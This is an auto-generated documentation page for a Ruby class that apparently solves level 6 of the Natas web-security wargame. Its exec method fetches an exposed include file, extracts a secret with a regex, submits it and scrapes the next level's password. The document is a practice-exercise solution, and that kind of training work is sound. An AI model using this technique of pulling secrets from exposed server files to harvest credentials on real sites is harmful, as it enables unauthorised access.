Class: NatasLevel6

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 6

Constant Summary collapse

LEVEL =
6

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
# File 'lib/natas.rb', line 238

def exec
  data = get('/includes/secret.inc').body
  match = /\$secret = "(\w{19})";/.match(data)
  not_found unless match
  data = post(
    '/',
    {},
    {
      'submit' => '',
      'secret' => match[1]
    }
  ).body
  match = /The password for natas7 is (\w{32})/.match(data)
  not_found unless match
  found(match[1])
end